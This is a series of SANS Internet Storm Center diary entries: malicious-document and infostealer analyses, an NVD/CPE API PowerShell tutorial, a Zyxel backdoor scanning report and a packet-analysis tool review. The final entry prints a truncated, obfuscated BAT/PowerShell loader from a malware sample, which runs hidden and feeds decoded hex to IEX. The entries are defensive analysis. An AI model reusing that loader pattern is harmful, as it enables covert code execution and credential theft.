If we still had any doubts if this was a malicious document, then this is a clear result that the sample is malicious.

And up til now, we didn't use any special tool to look inside the malicious Word document (.doc): just the strings command.

For this sample, we don't need to understand the structure of a Word document, or be familiar with a tool like oledump.py to peek inside a Word document. You just need some familiarity with the command-line, and be able to run the strings command with some options.

If your objective was to determine if this Word document is malicious or not, then you have succeeded. Just by using a strings command.

If your objective was to figure out what this Word document does, then we need to analyze the PowerShell command.

Tomorrow, I will publish a video where I do the full analysis with CyberChef. Here I will continue with command-line tools.

Next, we use my base64dump.py tool to find and decode the BASE64 script:

Like all BASE64-encoded PowerShell scripts passed as an argument, the script is in UNICODE. We use option -t utf16 to transform it to ASCII:

T

What we see here, is an obfuscated PowerShell script. When we take a close look, we can see fragments of urls. Strings containing URL fragments are concatenated in this PowerShell script. We will remove the concatenation operator (+) and other characters to reasemble the fragments, using command tr:

So we start to see some words, like family, but we still need to remove some characters, like the single quote:

And parentheses:

So now we have something that looks like a URL, except that the protocol is not what we expect (HTTP or HTTPS). We can use my tool re-search.py to extract the URLs:

If you want to understand why we have ss and s as protocol, and why @ terminates most URLs, we still need to do some analysis.

First, we use sed to put a newline character after each ; (semicolon), to have each PowerShell statement on a separate line, and make the script more readable:

And then we grep for family to select the line with URLs:

Notice here that the protocol of each URL contains string ]b2[s, and that there is a call to method replace to replace this string with string http.

Let's do this with sed ([ and ] have special meaning in regular expressions used by sed, so we need to escape these characters: \[ and \]):

Finally, we have complete URLs. If we use re-search again, to extract the URLs, we get a single line:

This time, re-search is not extracting indivudual URLs. That's because of the @ character: this is a valid character in URLs, it is used to precede the protocol with credentials (username:password@hxxp://example[.]com). But this is not what is done in this PowerShell script. In this script, there are several URLs, and the separator is the @ character. So we replace the @ character with a newline:

And finally, re-search.py gives us a list of URLs:

For this sample, extracting the malicious PowerShell script is quite easy, just using the strings command and a string replacement. Decoding the script to extract IOCs takes more steps, all done with command line tools.

In next diary entry, I will publish a video showing the analysis of the same sample with CyberChef.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 8.

Using the NIST Database and API to Keep Up with Vulnerabilities and Patches - Playing with Code (Part 2 of 3), (Fri, Jan 8th)

Building on yesterday's story - now that we have an inventory built in CPE format, let's take an example CVE from that and write some code, what's in the NVD database (and API) that you can access, then use in your organization?

First, let's play with CVE-2020-24436, which is an Acrobat Reader vulnerability.  In PowerShell, let's construct our query, then from the results pull out all the bits that we're interested in.

$request = "https://services.nvd.nist.gov/rest/json/cve/1.0/CVE-2020-24436"
$cvemetadata = ( (invoke-webrequest $request) | convertfrom-json)

Let's start with the Published Date.  Note again that there's also a "last modified" date - the idea being that if a CVE gets updated that the modified date will reflect that.  Even looking at that briefly though that "last modified" date seems to be programatic, so I think it's getting changed when folks don't intend it - my first check was a Peoplesoft vuln from 2017, it had a 2020 last modified date for no reason I could see.  Anyway, here's the published date:

$PublishedDate = $cvemetadata.result.cve_items.publishedDate
$PublishedDate

2020-11-05T20:15Z

Next, the text description.  This is where the "traditional" CVE delivery paths fall down - they generally give you get the CVE number, then this text description, maybe a severity score.  This is fine for news stories or your report to management, but it's not something you can "monitor" when hundreds of them fly by every day.  Sorry about the rant, but I guess that's why we're playing with this code, so that you can build your own delivery mechanism for your organization.  Anyway, back to the text description:

$CVEDesc = $cvemetadata.result.cve_items.cve.description.description_data.value

$CVEDesc
Acrobat Pro DC versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) are affected by an out-of-bounds write vulnerability that could result in writing past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. This vulnerability requires user interaction to exploit in that the victim must open a malicious document

The Reference URLs that may have more detail (usually there's a vendor URL in this list):

$CVEURLs=$cvemetadata.result.cve_items.cve.references.reference_data.url
$CVEURLs
https://helpx.adobe.com/security/products/acrobat/apsb20-67.html
https://www.zerodayinitiative.com/advisories/ZDI-20-1355/

The data on severity and scope (what we used to call the CVSS score):

$CVE_CVSSv3Data = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3
$CVE_CVSSv3Data
version               : 3.1
vectorString          : CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector          : LOCAL
attackComplexity      : LOW
privilegesRequired    : NONE
userInteraction       : REQUIRED
scope                 : UNCHANGED
confidentialityImpact : HIGH
integrityImpact       : HIGH
availabilityImpact    : HIGH
baseScore             : 7.8
baseSeverity          : HIGH

 

We know what's installed on our affected host, but what versions of the application are affected by this CVE?  Note that list gives you vulnerable versions ($_.vulnerable = "True") and versions that are not affected ($_.vulnerabile = "False")

$CVEAffectedApps=$cvemetadata.result.CVE_items.configurations.nodes.children.cpe_match

$CVEAffectedApps

vulnerable cpe23Uri                                                   versionEndIncluding
---------- --------                                                   -------------------
      True cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*              20.001.30005       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:classic:*:*:*           17.011.30175       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*        20.012.20048       
      True cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*       20.001.30005       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:classic:*:*:*    17.011.30175       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* 20.012.20048       
     False cpe:2.3:o:apple:mac_os:-:*:*:*:*:*:*:*                                        
     False cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* 

Winnowing this down to just the vulnerable versions:

($cvemetadata.result.CVE_items.configurations.nodes.children.cpe_match) | where {$_.vulnerable -eq "true" }

vulnerable cpe23Uri                                                   versionEndIncluding
---------- --------                                                   -------------------
      True cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*              20.001.30005       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:classic:*:*:*           17.011.30175       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*        20.012.20048       
      True cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*       20.001.30005       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:classic:*:*:*    17.011.30175       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* 20.012.20048       

 

Now with some code written, on Monday we'll string everything together into a useful, complete reporting tool that you can use.

===============
Rob VandenBrink
rob@coherentconsulting.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 8.

ISC Stormcast For Friday, January 8th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7320, (Fri, Jan 8th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 7.

Directly related to today's main story on CPE/CVEs - Code Exec in Cisco Jabber, all platforms https://nvd.nist.gov/vuln/detail/CVE-2020-26085, (Thu, Jan 7th)

=============== Rob VandenBrink

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 7.

Using the NIST Database and API to Keep Up with Vulnerabilities and Patches (Part 1 of 3), (Thu, Jan 7th)

It's been a while since NIST changed the API for their NVD (National Vulnerability Database), so I (finally) got around to writing some code against that API.  This API gives you a way for your code to query CVE's (Common Vulnerabilities and Exposures) against a broad range of products (or against specific products).  What this immediately brought to my mind was what I always ask my clients to put in someone's job description "monitor vendor announcements and industry news for vulnerabilities in the products in use by the organization".  This can be a tough row to hoe, especially if we're not talking the Microsoft / Cisco / Oracle and other "enterprise flagship" products - the ones that might immediately come to mind - if you monitor the cve list you'll see dozens or hundreds of CVEs scroll by in a day.   Also, subscribing to all the vendor security newsgroups and feeds can also quickly turn into a full-time proposition.  I think using the NIST API can be a viable alternative to just plain "keeping up".  CVE's often are a few days behind vendor announcements and patches, but on the other hand the CVE database is a one-stop-shop, (theoretically) everything is posted here.

In most cases I'd expect a hybrid approach - monitor industry news and vendor sources for your "big gun" applications, and then query this database for everything (to catch smaller apps and anything missed on your list of major apps).

First of all, in this API products are indexed by "CPE" (Common Platform Enumeration), a structured naming convention.  Let's see how this works - first, let's query the CPE database to get the NVD representation of the products that you have in your organization.  You can do this iteratively.

For instance, to get PeopleSoft versions, starty by querying Oracle products:

https://services.nvd.nist.gov/rest/json/cpes/1.0?cpeMatchString=cpe:2.3:*:oracle

Then narrow it down with the info you find in that search to get PeopleSoft.  

https://services.nvd.nist.gov/rest/json/cpes/1.0?cpeMatchString=cpe:2.3:*:oracle:peoplesoft_enterprise

As you can see, you can narrow this down further by version:

https://services.nvd.nist.gov/rest/json/cpes/1.0?cpeMatchString=cpe:2.3:a:oracle:peoplesoft_enterprise:8.22.14

.. however you might also want to leave that a bit open - you don't want to be in the position where your Operations team has updated the application but maybe didn't tell the security team or the security developer team (that'd be you).
(Or the dev-sec-dev-devops or whatever we're calling that these days :-))

Repeat this process for everything in your organization's flock of applications and Operating Systems.  As with all things of this type, of course test with one or three applications/CPEs, then grow your list over time.  You can use our previous diary on collecting hardware and software inventories (CIS Critical Controls 1 and 2) - code for these is here:
https://github.com/robvandenbrink/Critical-Controls/tree/master/CC01
https://github.com/robvandenbrink/Critical-Controls/tree/master/CC02

Full docs for the CPE API are here:
https://csrc.nist.gov/publications/detail/nistir/7696/final
https://csrc.nist.gov/CSRC/media/Projects/National-Vulnerability-Database/documents/web%20service%20documentation/Automation%20Support%20for%20CPE%20Retrieval.pdf

So how do we translate from a "real" inventory as reported by Windows WMI or PowerShell to what the CPE API expects?  The short answer is "the hard way" - we hit each application, one by one, and do a "it looks sorta like this" query.  The NVD gives us a handy page to do this in - for a manual thing like this I find the website to be quicker than the API.
First, navigate to https://nvd.nist.gov/products/cpe/search/

Then, put in your application name, vendor name, or any substring of those.

For instance, putting in "AutoCad" gives you 4 pages of various versions and application "bolt-ons" (or "toolsets" in autocad-speak).  It's interesting that the versioning convention is not standard, not even in this single first product example.
Some versions are named as "autocad:2010", and some are named as "autodesk:autocad_architecture_2009"
What you'll also find in this exploration is that "AutoCad version 2020" is actually version "24.0" as reported by the Windows interfaces - some of this oddness creeps into the CPE database as well.

Looking at a few apps that are more commonly used, let's look at the Adobe and FoxIT PDF readers.

To get all current-ish versions of FoxIT reader, we'll look for 10.0 and 10.0.1, these boil down to:

cpe:2.3:a:foxitsoftware:foxit_reader:10.*

This query gives us a short list:

cpe:2.3:a:foxitsoftware:foxit_reader:10.0.0:*:*:*:*:*:*:*
cpe:2.3:a:foxitsoftware:foxit_reader:10.0.0.35798:*:*:*:*:*:*:*
cpe:2.3:a:foxitsoftware:foxit_reader:10.0.1.35811:*:*:*:*:*:*:*


For our final list, we'll modify that last one to catch future sub-versions of 10.0.1, as:

cpe:2.3:a:foxitsoftware:foxit_reader:10.0.1.*

Looking for Adobe Reader DC version 19 and 20, we end up with:

cpe:2.3:a:adobe:acrobat_reader_dc:19.*
cpe:2.3:a:adobe:acrobat_reader_dc:20.*

This all looks straightforward, except that when you look at a few versions of 20, it looks like:

cpe:2.3:a:adobe:acrobat_reader_dc:20.009.20074:*:*:*:continuous:*:*:*
cpe:2.3:a:adobe:acrobat_reader_dc:20.001.30002:*:*:*:classic:*:*:*


So you'd think a properly formed query for version 20/classic would look like:
cpe:2.3:a:adobe:acrobat_reader_dc:20.*.*:*:*:*:classic:*:*:* - but no, that doesn't work

So you see, there's a bit of back-and-forth for each one - for each of my clients I tend to put an afternoon aside to turn their software inventory into a "CPE / CVE friendly" inventory.
You can speed this process up by downloading the entire CPE dictionary and "grep" through it for what you need: https://nvd.nist.gov/products/cpe
Just using grep, you now likely relate your software inventory back to the CPE dictionary much easier - for instance:

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i office
    <title xml:lang="en-US">Avery Wizard For Microsoft Office Word 2003 2.1</title>
    <title xml:lang="en-US">Microsoft BackOffice</title>
    <title xml:lang="en-US">Microsoft BackOffice 4.0</title>
    <title xml:lang="en-US">Microsoft BackOffice 4.5</title>
    <title xml:lang="en-US">Microsoft backoffice_resource_kit</title>
    <title xml:lang="en-US">Microsoft backoffice_resource_kit 2.0</title>
    <title xml:lang="en-US">Microsoft Office Excel 2002 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2003 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2007 Service Pack 2</title>
    <title xml:lang="en-US">Microsoft Office Excel 2007 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x86 (32-bit)</title>
    <title xml:lang="en-US">Microsoft Internet Explorer 5 (Office 2000)</title>
    <title xml:lang="en-US">Microsoft Internet Explorer 5.01 (Office 2000 SR-1)</title>
    <title xml:lang="en-US">Microsoft Office</title>
    <title xml:lang="en-US">Microsoft Office 3.0</title>
    <title xml:lang="en-US">Microsoft Office 4.0</title>
    <title xml:lang="en-US">Microsoft Office 4.3</title>
    <title xml:lang="en-US">Microsoft Office 95</title>
    <title xml:lang="en-US">Microsoft Office 97</title>
    < ... more older versions .. >
    <title xml:lang="en-US">Microsoft Office 2013</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT</title>
    <title xml:lang="en-US">Microsoft Office 2013 Click-to-Run (C2R)</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT Edition</title>
    <title xml:lang="en-US">Microsoft Office 2013 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 x86 (32-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 SP1</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 on X86</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT SP1</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 RT Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 for MacOS</title>
    <title xml:lang="en-US">Microsoft Office 2016 Click-to-Run (C2R)</title>
    <title xml:lang="en-US">Microsoft Office 2016 Click-to-Run (C2R) x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2016 MacOS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 Mac OS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2019</title>
    <title xml:lang="en-US">Microsoft Office 2019 on x64</title>
    <title xml:lang="en-US">Microsoft Office 2019 on x86</title>
    <title xml:lang="en-US">Microsoft Office 2019 for Mac OS</title>
    <title xml:lang="en-US">Microsoft Office 2019 for Mac OS X</title>
    <title xml:lang="en-US">Microsoft Office 2019 for macOS</title>
    <title xml:lang="en-US">Microsoft Office 2019 Mac OS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT</title>
    < and so on ... >

You can see this list relates much better to your "actual" inventory as reported by more "traditional" means (WMI / Powershell).  
Now refine this list, relating the results back to your real inventory.  Sorry, since the "match" on the title isn't always exact, this again usually involves some manual components.  Even mainstream products don't always have a match.

For instance, looking for MS Project 2013:
From our cross-domain software inventory (in PowerShell) we have:

> $domainapps.name | grep "Project"
Microsoft Project MUI (English) 2013
Microsoft Project Professional 2013

And from the CPE Dictionary:

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i project | grep 2013
    <title xml:lang="en-US">Microsoft Project 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Project Server 2013</title>
    <title xml:lang="en-US">Microsoft Project Server 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Project Server 2013 Service Pack 1 (x64) 64-bit</title>

So a match, but not exact.

Another illustration - even MS Word there isn't an exact match, in almost every case we're either picking a few CPE's or guesstimating for the closest one:

> $domainapps.name | grep "Word"
Microsoft Word MUI (English) 2013

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i word | grep 2013
    <title xml:lang="en-US">Microsoft Word 16.0.11425.20132 for Android</title>
    <title xml:lang="en-US">Microsoft Word 2013</title>
    <title xml:lang="en-US">Microsoft Word 2013 RT Edition</title>
    <title xml:lang="en-US">Microsoft Word 2013 for Microsoft Windows RT</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1 on x86</title>
    <title xml:lang="en-US">Microsoft Word 2013 SP1 RT</title>
    <title xml:lang="en-US">Microsoft Word RT 2013 Service Pack 1</title>

 

Where this plays well for me is if I exclude Windows and Office - just using Windows Update (or  your WSUS, SCCM or whatever patch manager you use), then auditing the "last updated" date for Windows tends to catch those really well.  It's the MS server apps - Exchange, SQL and so on, and everything that isn't Microsoft where this method really helps turn the flood of CVE information into a once a week summary that you can use.

 

As you'd expect, if you are in a niche industry, you may not find all of your applications - for instance ICS clients and Banking clients may not find their user-facing main business applications in the CPE list, and sadly will never see CVEs to keep their vendors honest.

In a welcome recent development, as I was writing this article I noticed that if your application has a listening port, nmap will make a reasonably good estimate of what that application is with the "sV" option (Probe open ports to determine service/version info).   In the example below nmap very nicely inventories my ESXI 7.0 server, and gives me the exact CPE for it:

C:\>nmap -sV -p 443 --open 192.168.122.51
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 18:45 Eastern Standard Time
Nmap scan report for 192.168.122.51
Host is up (0.0011s latency).

PORT    STATE SERVICE   VERSION
443/tcp open  ssl/https VMware ESXi SOAP API 7.0.0
MAC Address: 00:25:90:CB:00:18 (Super Micro Computer)
Service Info: CPE: cpe:/o:vmware:ESXi:7.0.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.70 seconds


Now, with your software inventory complete and your CPE strings in hand, you can start querying for CVE's!

Sticking with our Acrobat and FoxIT examples, we can search for all CVE's -  to do this we'll change the API URI called slightly, all the URI conventions stay consistent:

https://services.nvd.nist.gov/rest/json/cves/1.0?cpeMatchString=cpe:2.3:a:adobe:acrobat_reader_dc:20.*

Now things start to look interesting! Of course, given our search this gets us a boatload of CVE's.  Let's look for the last 60-0ish days - we'll querying "modified since a Nov 1, 2020":

https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=2020-11-01T00:00:00:000%20UTC-05:00&cpeMatchString=cpe:2.3:a:adobe:acrobat_reader_dc:20.*

Keep in mind to that there are a few dates involved- the publishedDate and lastModifiedDate.  While the NVD examples typically go after "last modified", I've seen CVE's from the mid 2000's with a "last modified" date in 2019 - so be careful.  Normally I'm querying using "publishedDate".

Again, rinse and repeat for all of your CPE's collected.  We're still playing in the browser, but you can see it's a simple query, and the return values are in JSON, so things look simple.  Except that as things nest and nest, what looks simple on the screen isn't necessarily simple in code.  For instance, to get the CVE numbers for the Acrobat Reader DC 20 query above, the PowerShell code looks like:

$request = "https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=2020-11-01T00:00:00:000%20UTC-05:00&cpeMatchString=cpe:2.3:a:adobe:acrobat_reader_dc:20.*"
$CVES = (invoke-webrequest $request | ConvertFrom-Json).result.CVE_items.cve.CVE_data_meta.id
$CVES

CVE-2020-24439
CVE-2020-24438
CVE-2020-24436
CVE-2020-24434
CVE-2020-24426
CVE-2020-24437
CVE-2020-24435
CVE-2020-24433
CVE-2020-24432
CVE-2020-24431
CVE-2020-24430
CVE-2020-24429
CVE-2020-24428
CVE-2020-24427

While this is starting to get useful, keep in mind that it's only as good as the database.  For instance, looking at any particular product, writing it will involve the use of a language and likely some libraries, maybe a framework and some other components.  There isn't a team of elves drawing up that heirarchy for public comsumption anywhere.  We can only hope that the dev team who wrote the thing is keeping that list for their own use! (hint - lots of them are not).

You can deconstruct any particular application to some degree ( https://isc.sans.edu/forums/diary/Libraries+and+Dependencies+It+Really+is+Turtles+All+The+Way+Down/20533/ ), but if you go that deep, you'll find that your list will likely see components get added or removed from version to version - it'll turn into a whack-a-mole-science-project in no time!
For a point-in-time application pentest this can be useful, but to just keep tabs on how your security posture is from week to week, you'll likely find yourself spending more time on application archeology than it's worth.

All is not lost though - as we've seen above we can get useful information just at the application level - and keep in mind the CVE list is what your scanner uses as it's primary source, also your red team, your malware, and any "hands on keyboard" attackers that your malware escorts onto your network.  So while the CVE list will never be complete, it's the data all of your malicious actors go to first.


Let's dig deeper into this - with our inventory of CPE's now solid, tomorrow we'll play more with the API details the CVE level, and Monday there'll be a full working app (I promise!) that you can use in your organization.

==== of note ====

In the course of me playing with this API, I ended up opening a case with the folks at the NIST, they were very responsive (2 day turnaround from initial question to final answer), which for me is very responsive, especially for a free product!

===============
References:

Full docs for CVE API are here:
https://csrc.nist.gov/publications/detail/nistir/7696/final
https://csrc.nist.gov/CSRC/media/Projects/National-Vulnerability-Database/documents/web%20service%20documentation/Automation%20Support%20for%20CPE%20Retrieval.pdf

===============
Rob VandenBrink
rob@coherentsecurity.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 7.

ISC Stormcast For Thursday, January 7th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7318, (Thu, Jan 7th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 6.

Scans for Zyxel Backdoors are Commencing., (Wed, Jan 6th)

It was the day (or two days actually) before Christmas when Niels Teusing published a blog post about a back door in various Zyxel products [1]. Niels originally found the vulnerability in Zyxel's USG40 security gateway, but it of course affects all Zyxel devices using the same firmware. According to Zyxel, the password was used "to deliver automatic firmware updates to connected access points through FTP" [2]. So in addition to using a fixed password, it appears the password was also sent in the clear over FTP.

Zyxel products are typically used by small businesses as firewalls and VPN gateways. ("Unified Security Gateway"). There is little in terms of defense in depth that could be applied to protect the device, and in ssh and the VPN endpoint via HTTPS are often exposed. The default credentials found by Niels are not just limited to ftp. They can be used to access the device as an administrator via ssh.

So yet again, we do have a severe "stupid" vulnerability in a device that is supposed to secure what is left of our perimeter.

Likely due to the holidays, and maybe because Niels did not initially publish the actual password, widespread exploitation via ssh has not started until now. But we are no seeing attempts to access our ssh honeypots via these default credentials. 

The scans started on Monday afternoon (I guess they first had to adapt their scripts in the morning) initially mostly from %%ip:185.153.196.230%%. On Tuesday, %%ip:5.8.16.167%% joined in on the fun and finally today, we have %%ip:45.155.205.86%%. The last IP has been involved in scanning before. 

What can/should you do?

  • If you are using affected devices: UPDATE NOW. See Zyxel's advisory here. Please call Zyxel support if you have questions.
  • If you are using any kind of firewall/gateway/router, no matter the vendor, limit its admin interface exposure to the minimum necessary. Avoid exposing web-based admin interfaces. Secure ssh access best you can (public keys...). In the case of a hidden admin account, these measures will likely not help, but see if you can disable password authentication. Of course, sometimes, vendors choose to hide ssh keys instead of passwords.
  • Figure out a way to automatically get alerts if a device is running out of date firmware. Daily vulnerability scans may help. Automatic firmware updates, if they are even an option, are often considered too risky for a perimeter device.
  • If you are a vendor creating these devices: get your act together. It is ridiculous how many "static keys", "support passwords" and simple web application vulnerabilities are found in your "security" devices. Look over the legacy code and do not rely on independent researchers to do your security testing.

And as a side note for Fortinet users. See what the new year just got you:

https://www.fortiguard.com/psirt?date=01-2021 . 

 

[1] https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html

[2] https://www.zyxel.com/support/CVE-2020-29583.shtml

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 6.

ISC Stormcast For Wednesday, January 6th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7316, (Wed, Jan 6th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 5.

Netfox Detective: An Alternative Open-Source Packet Analysis Tool , (Tue, Jan 5th)

[This is a guest diary by Yee Ching Tok (personal website here (https://poppopretn.com)). Feedback welcome either via comments or our contact page (https://isc.sans.edu/contact.html)]

Various digital forensic artifacts are generated during intrusions and malware infections. Other than analyzing endpoint logs, memory and suspicious binaries, network packet captures offer a trove of information to incident handlers that could help them triage incidents quickly (such as determining if sensitive data had been exfiltrated). Popular tools such as WireShark, Ettercap, NetworkMiner or tcpdump are often used by incident handlers to analyze packet captures. However, there could be situations where a tool is unable to open up packet captures due to its size or being deliberately tampered (perhaps in Capture-the-Flag (CTF) challenges to increase difficulty and complexity). As such, being proficient in multiple alternative tools for packet analysis could come in handy, be it for handling incidents or for CTF challenges.

I recently came across an open-source tool for packet analysis named Netfox Detective [1], developed by the Networked and Embedded Systems Research Group at Brno University of Technology [2]. To showcase some of its features, I mainly used the packet capture created in my previous diary [3]. Firstly, with reference to Figure 1, a workspace needs to be created. As the name implies, the created workspace will contain artifacts such as packet captures or logs that would be analyzed (in this example, I only used network packet captures and did not import any logs).

Figure 1: Creation of Workspace for Analysis

Following that, I imported the network packet capture created in my previous diary [3] and Figure 2 shows an overview of the statistics of the packet capture. An interesting observation was that I did not know some packet loss occurred during the capture I made previously. It was also interesting to note that Netfox Detective utilized TCP heuristics that the creators have developed previously and improved on to mitigate corrupted or missing packets so as to collate as many network conversations as possible [4].

Figure 2: Overview of NAT Slipstreaming Packet Capture

As compared to WireShark where packets are displayed linearly, Netfox Detective has a tabbed view and displays the packets at Layer 3, Layer 4 and Layer 7 (linear option also available by selecting the “Frames” tab). Figure 3 shows the Layer 4 tab being selected and corresponding results being displayed.

Figure 3: Netfox Detective displaying Layer 4 Network Traffic

Selecting a conversation (highlighted in Figure 3) will add the selection in the “Conversation explorer” pane (highlighted by the red box in Figure 4). Double clicking the entry in “Conversation explorer” will create a new tab “Conversation detail” where a summary of the interaction is displayed (as shown in Figure 4). I found the Packet Sequence Chart to be very useful as it visualized when the various packets were transmitted with respect to their frame size.

Figure 4: Conversation detail view of 192.168.211.132 and 192.168.2.1

Following that, with reference to Figure 5, I selected frame number 336 for an in-depth look and we can see the ACK and RST flags being reflected in this packet (an expected finding as per the observations of NAT Slipstreaming experiment I done previously). 

Figure 5: Frame content view of Frame Number 336

There could be instances where analysis of multiple related network packet captures is needed in an incident. Netfox Detective allows multiple packet capture files to be imported into the same workspace (as shown in Figure 6). Over here, I used another packet capture created by Brad Duncan [5] to demonstrate the feature. 

Figure 6: Importing Multiple Packet Capture Files into the Same Workspace

As always, there are strengths and weaknesses in the various tools we use for packet analysis. Netfox Detective can only be installed on Microsoft Windows (Windows Vista SP2 or newer), and supports a smaller subset of protocols as compared to other tools such as WireShark [1]. However, the various tabbed views at Layer 3, 4 and 7, packet visualizations and ability to group related packet captures in a same workspace offers a refreshing perspective for incident handlers to perform their analysis/triage on network packet captures. Moreover, the open-source nature of Netfox Detective allows further enhancements to the tool itself.

For a complete read about Netfox Detective’s design decisions and technical implementations, their published paper is available here [4]. To download Netfox Detective, the information can be found on their GitHub page [1].

[1] https://github.com/nesfit/NetfoxDetective/
[2] https://nesfit.github.io/
[3] https://github.com/poppopretn/ISC-diaries-pcaps/blob/main/2020-11-NAT-Slipstream.zip
[4] https://doi.org/10.1016/j.fsidi.2020.301019
[5] https://www.malware-traffic-analysis.net/2020/11/10/index.html 
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 5.

ISC Stormcast For Tuesday, January 5th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7314, (Tue, Jan 5th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 4.

From a small BAT file to Mass Logger infostealer, (Mon, Jan 4th)

Since another year went by, I’ve decided to once again check all of the malicious files, which were caught in my e-mail quarantine during its course. Last year, when I went through the batch of files from 2019, I found couple of very large samples[1] and I wanted to see whether I’d find something similar in the 2020 batch.

I started with just over 900 files of many different types and although I did notice couple of unusually large files, when one took their extensions into consideration (e.g. a JS file with size exceeding 1 MB, which turned out to be a sample of WSH RAT[2]), the largest sample in the batch overall was an EXE with the size of 17 MB. It was not small by any means, but its size was not too unusual either - it was definitely not in the same weight class as the 130 MB executable sent to us by one of our readers back in August[3].

On the other side of the size spectrum, situation was pretty much the same – there were also not any files which would be interesting because of their exceptional size (or lack thereof). While quickly going over the small files, one of them however did catch my eye. Among the smallest executable scripts was a 1.68 kB BAT file from September 2020 with the name of “A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat” (first part roughly translates as “Terms of agreement” from Hungarian), which contained the following slightly obfuscated PowerShell script, which turned out to be quite interesting.

@echo off Start /MIN Powershell -WindowStyle Hidden -command "$Dxjyp='D4@C7@72@72... ... ...F6@26@45@42'; $text =$Dxjyp.ToCharArray(); [Array]::Reverse($text); $tu=-join $text; $jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))}; $jm -join ''|I`E`X"

